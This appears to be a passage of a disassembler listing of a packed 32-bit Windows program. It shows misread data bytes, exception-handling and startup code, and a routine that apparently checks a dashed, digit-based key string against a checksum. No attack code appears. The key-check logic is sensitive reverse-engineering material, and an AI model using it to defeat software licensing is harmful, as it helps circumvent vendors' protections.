3Eh, 64h xor al, 64h jmp dword ptr [esp+esi*8+64h] ; --------------------------------------------------------------------------- db 9Dh db 64h ; d db 93h, 64h, 5Bh db 65h ; e db 51h, 65h, 72h db 65h ; e db 4, 65h, 2Ah db 65h ; e db 0DAh, 65h, 0D0h db 65h ; e db 0C9h, 65h, 0C0h db 65h ; e db 0F0h, 65h, 0F6h db 65h ; e db 0EFh, 65h, 0E5h db 65h ; e db 93h, 65h, 0BAh db 65h ; e db 0ADh, 65h, 0A4h db 65h ; e db 5Fh, 66h, 4Ch db 66h ; f db 41h, 66h, 78h db 66h ; f db 71h, 66h, 68h db 66h ; f db 65h, 66h, 1Ah db 66h ; f db 1Fh, 66h, 0Bh db 66h ; f db 1, 66h, 6 db 66h ; f db 3Bh, 66h, 37h db 66h ; f db 2Dh, 66h, 22h db 66h ; f db 27h, 66h, 0D3h db 66h ; f db 0C9h, 66h, 0CEh db 66h ; f ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp small word ptr [esi-0Bh] ; --------------------------------------------------------------------------- dw 0EA66h db 66h ; f db 0EFh, 66h, 9Eh db 66h ; f db 94h, 66h, 89h db 66h ; f db 6Ah, 67h, 60h db 67h ; g db 1Ch, 67h, 12h db 67h ; g db 0Ch, 67h, 39h db 67h ; g db 35h, 67h, 2Eh db 67h ; g db 25h, 67h, 0D5h db 67h ; g db 0C5h, 67h, 0EFh db 67h ; g db 9Dh, 67h, 94h db 67h ; g db 80h, 67h, 87h db 67h ; g db 0B7h, 67h, 0A2h db 67h ; g db 58h, 0B8h, 58h db 58h ; X db 94h, 2 dup(58h) db 58h ; X db 59h, 68h, 44h db 68h ; h db 76h, 68h, 6Ch db 68h ; h db 63h, 68h, 10h db 68h ; h db 16h, 68h, 0Bh db 68h ; h db 5, 68h, 3Fh db 68h ; h db 36h, 68h, 2Eh db 68h ; h db 26h, 68h, 0D7h db 68h ; h db 0FAh, 68h, 0E8h db 68h ; h db 0EEh, 68h, 90h db 68h ; h db 8Dh, 68h, 83h db 68h ; h db 0BEh, 68h, 0AEh db 68h ; h db 0A3h, 68h, 53h db 69h ; i db 4Eh, 69h, 7Ah db 69h ; i db 70h, 69h, 6Ah db 69h ; i db 64h, 69h, 1Bh db 69h ; i db 17h, 69h, 0Dh db 69h ; i db 39h, 69h, 3Fh db 69h ; i db 29h, 69h, 0D1h db 69h ; i db 0D7h, 69h, 0C1h db 69h ; i db 0C6h, 69h, 9Eh db 69h ; i db 89h, 69h, 87h db 69h ; i db 0BDh, 69h, 0B3h db 69h ; i db 0ACh, 69h, 0A6h db 69h ; i db 5Bh, 6Ah, 75h db 6Ah ; j db 6Fh, 6Ah, 66h db 6Ah ; j db 1Dh, 6Ah, 8 db 6Ah ; j db 6, 6Ah, 2Fh db 6Ah ; j db 25h, 6Ah, 0C7h db 6Ah ; j db 0F4h, 6Ah, 82h db 6Ah ; j db 0B9h, 6Ah, 0AFh db 6Ah ; j db 55h, 6Bh, 4Bh db 6Bh ; k db 71h, 6Bh, 68h db 6Bh ; k db 32h, 6Bh, 22h db 6Bh ; k ; --------------------------------------------------------------------------- shr dword ptr [ebx-3Bh], 1 imul esi, 6Bh jmp short loc_42B6EC ; --------------------------------------------------------------------------- db 0E1h, 6Bh, 9Ah dd 8A6B916Bh, 0B46B8F6Bh, 5A6BAA6Bh, 7E6C4C6Ch, 0F26CF96Ch dd 0E26CEB6Ch, 0A56CA06Ch, 5A6D5B6Ch, 426E566Eh, 6A6E7E6Eh dd 126E666Eh, 3A6E0E6Eh, 226E366Eh, 49D8586Eh, 58581858h dd 0F0685858h, 0E86AF46Ah, 0E06AEC6Ah, 986AE46Ah, 946A906Ah dd 8C6A886Ah, 846A806Ah, 0BC6AB86Ah, 0A86AB46Ah, 0A06AAC6Ah dd 586AA46Ah ; --------------------------------------------------------------------------- loc_42B6EC: ; CODE XREF: .data:0042B67Fj imul ebx, [ebx+ebp*2+50h], 6Bh cmp [esp+edi+6Ch], ch xor [esp+esi+6Ch], ch pop eax clc dec ecx pop eax js short loc_42B757 pop eax pop eax int 3 ; Trap to Debugger imul eax, 0F469C469h imul ebp, eax, 0E069EC69h imul esp, 9C699869h imul edx, [eax+58585869h], 58585858h pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax loc_42B757: ; CODE XREF: .data:0042B6FDj pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax loc_42B7A3: ; CODE XREF: .data:0042B819j pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax mov ecx, 58581826h pop eax pop eax jo short loc_42B7A3 dec ecx pop eax pop ecx pop eax pop eax pop eax pop ecx pop eax pop eax pop eax pop ecx pop eax pop eax pop eax insb mov [ecx+58h], cl pusha mov [ecx+58h], cl mov fs:[ecx+58h], cl xor esi, [ebx] sub [esi], ebp and [edi], al jbe short loc_42B879 xor al, 34h pop eax pop eax xor eax, 1858581Fh mov [ecx+58h], cl pop eax pop eax pop eax pop eax pop es adc al, 31h cmp dl, ds:18363139h push 58585858h pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax loc_42B879: ; CODE XREF: .data:0042B83Bj pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax ; --------------------------------------------------------------------------- db 3 dup(0) dd 7Ch dup(0) dd 3900h dup(?) _data ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 0003A000) ; Virtual size : 00116068 (1138792.) ; Section size in file : 0000D684 ( 54916.) ; Offset to raw data for section: 00015A00 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 43A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43A006: ; DATA XREF: sub_43A026+Ao xor eax, eax inc eax mov ecx, [esp+4] test dword ptr [ecx+4], 6 jz short locret_43A025 mov eax, [esp+8] mov edx, [esp+10h] mov [edx], eax mov eax, 3 locret_43A025: ; CODE XREF: .text:0043A014j retn ; =============== S U B R O U T I N E ======================================= sub_43A026 proc near ; CODE XREF: .text:0043A14Ep ; .text:0043A17Cp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset loc_43A006 push large dword ptr fs:0 mov large fs:0, esp loc_43A043: ; CODE XREF: sub_43A026+44j ; sub_43A026+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43A072 cmp esi, [esp+1Ch+arg_4] jz short loc_43A072 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43A043 call dword ptr [ebx+esi*4+8] jmp short loc_43A043 ; --------------------------------------------------------------------------- loc_43A072: ; CODE XREF: sub_43A026+2Aj ; sub_43A026+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43A026 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A080 proc near ; CODE XREF: .text:0043A141p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_43A098 push [ebp+arg_0] call sub_447618 loc_43A098: ; DATA XREF: sub_43A080+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43A080 endp ; --------------------------------------------------------------------------- cld push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_43A175 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43A0D3: ; CODE XREF: .text:0043A16Cj cmp esi, 0FFFFFFFFh jz loc_43A184 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43A163 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov dword_551034, eax mov edx, [ebp-14h] mov eax, [edx] mov dword_551038, eax mov eax, [edx+4] mov dword_55103C, eax push esi push edi push ecx mov ecx, 14h lea edi, dword_551040 mov esi, dword_551038 rep movsd lea edi, dword_551040 mov dword_551038, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43A163 js short loc_43A171 mov edi, [ebx+8] push ebx call sub_43A080 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43A026 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43A163: ; CODE XREF: .text:0043A0E4j ; .text:0043A139j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43A0D3 ; --------------------------------------------------------------------------- loc_43A171: ; CODE XREF: .text:0043A13Bj xor eax, eax jmp short loc_43A18E ; --------------------------------------------------------------------------- loc_43A175: ; CODE XREF: .text:0043A0B8j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43A026 add esp, 0Ch loc_43A184: ; CODE XREF: .text:0043A0D6j push 0Bh call sub_447660 add esp, 4 loc_43A18E: ; CODE XREF: .text:0043A173j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi cmp dword ptr [ebp+0Ch], 1 jnz short loc_43A1A7 call sub_43A1C3 loc_43A1A7: ; CODE XREF: .text:0043A1A0j call sub_4475A3 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] mov eax, off_551000 call eax ; sub_447578 pop edi pop esi pop ebx leave retn 0Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A1C3 proc near ; CODE XREF: .text:0043A1A2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push edi push 0 push 0FFFFFFF6h call sub_447630 mov [ebp+var_8], eax push 0 push 0FFFFFFF5h call sub_447630 mov [ebp+var_4], eax push 0 push 0FFFFFFF4h call sub_447630 mov [ebp+var_C], eax push (offset aWr+2) push [ebp+var_8] call sub_447624 mov dword_551008, eax push offset aWr ; "wr" push [ebp+var_4] call sub_447624 mov dword_551004, eax push offset aWr ; "wr" push [ebp+var_C] call sub_447624 add esp, 30h mov dword_55100C, eax mov edi, dword_551004 or edi, edi jz short loc_43A23C push 0 push edi call sub_44766C add esp, 8 loc_43A23C: ; CODE XREF: sub_43A1C3+6Cj mov edi, dword_55100C or edi, edi jz short loc_43A256 push 0 push edi call sub_44766C add esp, 8 call sub_43A25C loc_43A256: ; CODE XREF: sub_43A1C3+81j pop edi leave retn sub_43A1C3 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A25C proc near ; CODE XREF: sub_43A1C3+8Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_C], 0 call sub_44760C mov ebx, eax mov [ebp+var_10], ebx jmp short loc_43A294 ; --------------------------------------------------------------------------- loc_43A278: ; CODE XREF: sub_43A25C+3Bj cmp byte ptr [ebx], 3Dh jz short loc_43A280 inc [ebp+var_C] loc_43A280: ; CODE XREF: sub_43A25C+1Fj mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi lea ebx, [ebx+edi] loc_43A294: ; CODE XREF: sub_43A25C+1Aj cmp byte ptr [ebx], 0 jnz short loc_43A278 mov edi, [ebp+var_C] inc edi lea edi, ds:0[edi*4] mov [ebp+var_14], edi push [ebp+var_14] call sub_447654 pop ecx mov [ebp+var_8], eax mov dword_551010, eax cmp [ebp+var_8], 0 jnz short loc_43A2C2 xor eax, eax jmp short loc_43A31F ; --------------------------------------------------------------------------- loc_43A2C2: ; CODE XREF: sub_43A25C+60j mov ebx, [ebp+var_10] jmp short loc_43A30C ; --------------------------------------------------------------------------- loc_43A2C7: ; CODE XREF: sub_43A25C+B3j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi mov [ebp+var_4], edi cmp byte ptr [ebx], 3Dh jz short loc_43A306 push [ebp+var_4] call sub_447654 pop ecx mov esi, [ebp+var_8] mov [esi], eax or eax, eax jnz short loc_43A2F4 jmp short loc_43A31F ; --------------------------------------------------------------------------- loc_43A2F4: ; CODE XREF: sub_43A25C+94j push ebx mov edi, [ebp+var_8] push dword ptr [edi] call sub_447678 add esp, 8 add [ebp+var_8], 4 loc_43A306: ; CODE XREF: sub_43A25C+82j mov edx, [ebp+var_4] lea ebx, [ebx+edx] loc_43A30C: ; CODE XREF: sub_43A25C+69j cmp byte ptr [ebx], 0 jnz short loc_43A2C7 mov edx, [ebp+var_8] mov dword ptr [edx], 0 mov eax, 1 loc_43A31F: ; CODE XREF: sub_43A25C+64j ; sub_43A25C+96j pop edi pop esi pop ebx leave retn sub_43A25C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43A324 proc near ; CODE XREF: sub_44496E+C33p var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = dword ptr -2E4h var_2E0 = dword ptr -2E0h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C6 = byte ptr -2C6h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = dword ptr -2A8h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_253 = byte ptr -253h var_154 = byte ptr -154h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10A = byte ptr -10Ah var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_101 = byte ptr -101h var_FF = byte ptr -0FFh var_FC = byte ptr -0FCh var_FB = byte ptr -0FBh var_F8 = byte ptr -0F8h var_F7 = byte ptr -0F7h var_F6 = byte ptr -0F6h var_F5 = byte ptr -0F5h var_F3 = byte ptr -0F3h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 324h push ebx push esi push edi cmp [ebp+arg_4], 0 jz loc_43B466 mov eax, [ebp+arg_0] mov al, [eax] cmp al, 34h jz short loc_43A34B cmp al, 35h jnz loc_43B466 loc_43A34B: ; CODE XREF: sub_43A324+1Dj mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_43A353: ; CODE XREF: sub_43A324+34j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43A353 mov [ebp+var_128], eax mov edx, dword_55116C add edx, 4 add edx, dword_551174 cmp eax, edx jz short loc_43A384 mov edx, dword_5510A4 add edx, 0Ch cmp eax, edx jnz loc_43B466 loc_43A384: ; CODE XREF: sub_43A324+4Dj movsx ebx, word_551094 sub ebx, 2 jmp short loc_43A3B4 ; --------------------------------------------------------------------------- loc_43A390: ; CODE XREF: sub_43A324+A0j mov eax, 30h mul ebx mov [ebp+var_260], eax mov eax, [ebp+arg_4] mov edx, [ebp+var_260] cmp ds:dword_4CC550[edx], eax jz loc_43B466 inc ebx loc_43A3B4: ; CODE XREF: sub_43A324+6Aj mov eax, dword_551090 add eax, 5Ch add eax, dword_55119C cmp ebx, eax jb short loc_43A390 mov eax, dword_5511FC add eax, 13h cmp [ebp+var_128], eax jnz loc_43A59A mov eax, [ebp+arg_0] mov al, [eax+0Eh] cmp al, 2Dh jz short loc_43A3EC cmp al, 20h jnz loc_43B466 loc_43A3EC: ; CODE XREF: sub_43A324+BEj mov eax, [ebp+arg_0] mov al, [eax+9] cmp al, 2Dh jz short loc_43A3FE cmp al, 20h jnz loc_43B466 loc_43A3FE: ; CODE XREF: sub_43A324+D0j mov eax, [ebp+arg_0] mov al, [eax+4] cmp al, 2Dh jz short loc_43A410 cmp al, 20h jnz loc_43B466 loc_43A410: ; CODE XREF: sub_43A324+E2j mov eax, dword_551140 add eax, 0Ch movsx edx, word_551208 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+11h] mov [ebp+eax+var_FF], dl movsx eax, word_551144 mov edx, [ebp+arg_0] mov dl, [edx+8] mov [ebp+eax+var_FC], dl mov eax, dword_551180 mov edx, [ebp+arg_0] mov dl, [edx+0Ah] mov [ebp+eax+var_F7], dl mov eax, dword_5511DC add eax, 7 movsx edx, word_5510C4 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+10h] mov [ebp+eax+var_FF], dl mov eax, dword_55111C add eax, dword_551170 mov edx, [ebp+arg_0] mov dl, [edx+7] mov [ebp+eax+var_FF], dl mov eax, dword_551120 mov edx, [ebp+arg_0] mov dl, [edx+0Fh] mov [ebp+eax+var_FB], dl movsx eax, word_5510A8 mov edx, [ebp+arg_0] mov dl, [edx+0Ch] mov [ebp+eax+var_F5], dl movsx eax, word_55113C movsx edx, word_551218 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+6] mov [ebp+eax+var_103], dl mov eax, dword_5510E0 movsx edx, word_5510B4 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx] mov [ebp+eax+var_10A], dl mov eax, dword_5511B4 movsx edx, word_551128 sub edx, 5 mov [ebp+eax+var_F3], dl mov eax, dword_5511AC add eax, dword_5510C8 mov edx, [ebp+arg_0] mov dl, [edx+3] mov [ebp+eax+var_FF], dl mov eax, dword_551090 add eax, 4 movsx edx, word_551198 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+0Bh] mov [ebp+eax+var_FF], dl mov eax, dword_5511BC mov edx, [ebp+arg_0] mov dl, [edx+12h] mov [ebp+eax+var_F6], dl mov eax, dword_55120C mov edx, [ebp+arg_0] mov dl, [edx+5] mov [ebp+eax+var_FF], dl mov eax, dword_5511AC movsx edx, word_551210 add eax, edx mov edx, [ebp+arg_0] mov dl, [edx+2] mov [ebp+eax+var_104], dl movsx eax, word_551144 mov edx, [ebp+arg_0] mov dl, [edx+0Dh] mov [ebp+eax+var_F8], dl mov eax, dword_5511EC mov edx, [ebp+arg_0] mov dl, [edx+1] mov [ebp+eax+var_101], dl jmp short loc_43A5A9 ; --------------------------------------------------------------------------- loc_43A59A: ; CODE XREF: sub_43A324+B0j push [ebp+arg_0] lea eax, [ebp+var_FF] push eax call sub_4475D4 loc_43A5A9: ; CODE XREF: sub_43A324+274j mov esi, dword_55118C dec esi jmp short loc_43A5C7 ; --------------------------------------------------------------------------- loc_43A5B2: ; CODE XREF: sub_43A324+2B6j mov al, [ebp+esi+var_FF] cmp al, 30h jl short loc_43A5C1 cmp al, 39h jle short loc_43A5C6 loc_43A5C1: ; CODE XREF: sub_43A324+297j jmp loc_43B466 ; --------------------------------------------------------------------------- loc_43A5C6: ; CODE XREF: sub_43A324+29Bj inc esi loc_43A5C7: ; CODE XREF: sub_43A324+28Cj mov eax, dword_551154 add eax, 3 movsx edx, word_551128 add eax, edx cmp esi, eax jb short loc_43A5B2 mov eax, dword_5510AC sub eax, 7 mov [ebp+var_108], eax mov esi, dword_5511FC jmp short loc_43A638 ; --------------------------------------------------------------------------- loc_43A5F2: ; CODE XREF: sub_43A324+31Ej movsx eax, [ebp+esi+var_FF] sub eax, 30h mov edx, dword_5510C8 inc edx imul eax, edx add [ebp+var_108], eax cmp [ebp+esi+var_FF], 34h jle short loc_43A625 mov eax, dword_551160 add eax, 2 sub [ebp+var_108], eax loc_43A625: ; CODE XREF: sub_43A324+2F1j mov eax, dword_551170 movsx edx, word_5510C4 add eax, edx sub eax, 8 add esi, eax loc_43A638: ; CODE XREF: sub_43A324+2CCj mov eax, dword_5510BC add eax, 10h cmp esi, eax jb short loc_43A5F2 mov eax, dword_551220 mov ebx, eax add ebx, dword_551154 sub ebx, 9 jmp short loc_43A671 ; --------------------------------------------------------------------------- loc_43A656: ; CODE XREF: sub_43A324+360j movsx eax, [ebp+ebx+var_FF] sub eax, 30h add [ebp+var_108], eax movsx eax, word_5510CC inc eax add ebx, eax loc_43A671: ; CODE XREF: sub_43A324+330j movsx eax, word_551198 mov edx, dword_551228 lea eax, [eax+edx+7] cmp ebx, eax jb short loc_43A656 mov eax, [ebp+var_108] mov ecx, 0Ah xor edx, edx div ecx mov edi, dword_551238 movsx ebx, word_5510F4 add edi, ebx sub edi, 2 cmp edx, edi jnz loc_43B466 lea eax, [ebp+var_FF] push eax call ds:dword_54EA74 pop ecx or eax, eax jnz loc_43B466 mov esi, dword_5511E0 sub esi, 4 mov esi, dword_551238 jmp short loc_43A701 ; --------------------------------------------------------------------------- loc_43A6D6: ; CODE XREF: sub_43A324+3E9j mov eax, 30h mul esi mov [ebp+var_264], eax mov eax, dword_551140 add eax, dword_551150 sub eax, 5 mov edx, [ebp+var_264] cmp ds:dword_4CC550[edx], eax jz short loc_43A70F inc esi loc_43A701: ; CODE XREF: sub_43A324+3B0j movsx eax, word_5511A4 add eax, 5Eh cmp esi, eax jb short loc_43A6D6 loc_43A70F: ; CODE XREF: sub_43A324+3DAj movsx eax, word_551138 mov edx, dword_55122C lea eax, [eax+edx+5Ah] cmp esi, eax jz loc_43B466 mov eax, 30h mul esi mov [ebp+var_268], eax mov eax, [ebp+arg_4] mov edx, [ebp+var_268] mov ds:dword_4CC550[edx], eax push offset byte_5529B1 call sub_43CAF7 pop ecx mov edi, dword_5510AC movsx ebx, word_5511C4 add edi, ebx sub edi, 0Fh push edi push eax movsx edi, word_551210 sub edi, 5 push edi push [ebp+arg_4] call ds:dword_50E930 mov [ebp+var_134], eax mov ecx, dword_5511F8 sub ecx, 3 cmp eax, ecx jnz short loc_43A794 mov eax, [ebp+arg_4] mov [ebp+var_134], eax loc_43A794: ; CODE XREF: sub_43A324+465j push offset dword_5529A4 call sub_43CAF7 push eax push [ebp+var_134] call sub_445A79 mov [ebp+var_12C], eax push offset dword_552998 call sub_43CAF7 push eax push [ebp+var_12C] call sub_445A79 mov edi, eax mov eax, 30h mul esi mov [ebp+var_26C], eax mov ebx, eax mov ds:dword_4CC554[ebx], edi push 0 mov eax, 30h mul esi mov [ebp+var_270], eax push ds:dword_4CC554[eax] call ds:dword_54E958 mov eax, dword_5511D0 sub eax, 7 push eax call ds:dword_44B598 mov [ebp-10Ch], eax lea eax, [ebp+var_11C] push eax push [ebp+var_12C] call ds:dword_54E950 push offset word_55298E call sub_43CAF7 add esp, 1Ch mov edi, dword_5511C0 dec edi push edi push dword ptr [ebp-10Ch] movsx edi, word_551194 movsx ebx, word_5511F0 add edi, ebx sub edi, 7 push edi push [ebp+var_12C] mov edi, [ebp+var_110] sub edi, [ebp+var_118] push edi mov edi, [ebp+var_114] sub edi, [ebp+var_11C] push edi movsx edi, word_55113C sub edi, 9 push edi mov edi, dword_55110C sub edi, 2 push edi push 50800000h lea edi, [ebp+var_FF] push edi push eax push 200h call 